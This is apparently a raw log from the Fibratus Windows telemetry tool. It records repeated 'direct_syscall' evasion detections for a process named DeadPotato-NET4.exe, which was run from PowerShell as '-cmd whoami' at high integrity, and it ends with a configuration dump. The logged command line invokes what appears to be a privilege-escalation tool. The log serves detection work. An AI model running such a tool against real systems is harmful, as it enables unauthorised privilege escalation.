"C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffba3b2fdbb C:\Windows\System32\combase.dll!InternalRegOpenClassKey|0x7ffba3b96216 C:\Windows\System32\combase.dll!Ordinal111|0x7ffba3c74a71 C:\Windows\System32\combase.dll!Ordinal92|0x7ffba3c74b06 C:\Windows\System32\combase.dll!Ordinal92|0x7ffba3c7516e C:\Windows\System32\combase.dll!Ordinal141|0x7ffba3563663 C:\Windows\System32\rpcrt4.dll!NdrServerCallNdr64|0x7ffba34a74bd C:\Windows\System32\rpcrt4.dll!NdrStubCall2|0x7ffba34a6f3a C:\Windows\System32\rpcrt4.dll!NdrServerCall2|0x7ffba35180f7 C:\Windows\System32\rpcrt4.dll!I_RpcFreeBuffer|0x7ffba34e1ab4 C:\Windows\System32\rpcrt4.dll!NDRSContextUnmarshall2|0x7ffba34e2ac8 C:\Windows\System32\rpcrt4.dll!NDRSContextUnmarshall2|0x7ffba34cfc54 C:\Windows\System32\rpcrt4.dll!RpcExceptionFilter|0x7ffba34e001c C:\Windows\System32\rpcrt4.dll!RpcBindingFromStringBindingW|0x7ffba34e601c C:\Windows\System32\rpcrt4.dll!RpcImpersonateClient|0x7ffba34e51a3 C:\Windows\System32\rpcrt4.dll!RpcImpersonateClient|0x7ffba34e4148 C:\Windows\System32\rpcrt4.dll!I_RpcGetBufferWithObject|0x7ffba4037ffe C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffba4036123 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1095276 + Pid: 2704 + Tid: 10668 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.3166378 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324e1f7000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb87756273 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb2bd25374 unbacked!?] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1095278 + Pid: 2704 + Tid: 10668 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.3166671 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324e1f6000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b3dfa05 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb877564b4 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb2bd25374 unbacked!?] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1095280 + Pid: 2704 + Tid: 10668 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.3168908 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324e1f5000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b3dfa05 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb877564b4 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb59a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eb3d7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eaa2c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a890 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b4ca946 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!StrongNameSignatureVerification|0x7ffb8775313a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb877518d0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8773d968 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876ea7ff C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb876eab5b C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb87754065 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ae7a C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775ab14 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8775a76d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll!?|0x7ffb8b3c25c8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2793 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c23d5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b39d927 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3c2cd2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3dab16 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ad5db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b50ebb5 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb2bd25374 unbacked!?] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1095818 + Pid: 2704 + Tid: 16676 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.427128 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324e2f8000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b3d7a17 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d700e C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3d6bdb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b47f38f C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateAssemblyNameObject|0x7ffb8b40aa39 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b508948 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_NoGuiOnAssert|0x7ffb8b520563 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:39:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1097479 + Pid: 2704 + Tid: 19212 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-25 10:39:33.6762293 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 324ddf7000, exe➜ C:\Users\nedo\Downloads\DeadPotato-NET4.exe, name➜ DeadPotato-NET4.exe, pid➜ 2704, region_size➜ 20480 + Metadata: evasions: [direct_syscall] + + Pid: 2704 + Ppid: 15392 + Name: DeadPotato-NET4.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\Downloads\DeadPotato-NET4.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\Downloads\DeadPotato-NET4.exe" -cmd whoami] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037ea2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8037e863d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8037e8629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8037e6a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8037ea24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8037e29315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8037e2400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8037e6addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffb8b639207 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!ParseManifest|0x7ffb8b4f5694 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffb8b46de52 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!CreateAssemblyNameObject|0x7ffb8b4e0fec C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!StrongNameFreeBuffer|0x7ffb8b50e5a4 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb88f53ac5 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b5116c3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3ce2db C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3ce0e0 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b4d67b2 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!StrongNameSignatureVerification|0x7ffb8b396f04 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b4cc993 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!StrongNameSignatureVerification|0x7ffb8b4cc7e8 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!StrongNameSignatureVerification|0x7ffb88eb0756 C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\8967064a93c70884749ad00de74dd7a1\mscorlib.ni.dll!?|0x7ffb8b511636 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!DllCanUnloadNowInternal|0x7ffb8b3bb6c6 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3bbd73 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3bbcae C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3bb8e7 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3bb811 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6fcb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6eef C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b3e6dbb C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!?|0x7ffb8b418d3d C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!LogHelp_TerminateOnAssert|0x7ffb8b4f5faa C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll!IsOS|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T10:40:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T10:40:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:40:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T10:40:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T10:40:17+01:00 level=info msg=bootstrapping with pid 13268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T10:40:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true enable-fileio=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-dns=>false enable-mem=>false enable-threadpool=>false enable-registry=>true flush-interval=>1s buffer-size=>512 enable-net=>true min-buffers=>16 enable-image=>true enable-handle=>false enable-vamap=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 formatter=>text max-backups=>15 level=>info] + output ......................... [ elasticsearch=>[ template-name=>fibratus index-name=>fibratus healthcheck=>true bulk-workers=>1 sniff=>false timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false flush-period=>1s healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false] amqp=>[ passive=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient vhost=>/ enabled=>false tls-insecure-skip-verify=>false timeout=>5s durable=>false routing-key=>fibratus exchange-type=>topic] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false fastscan=>true excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] 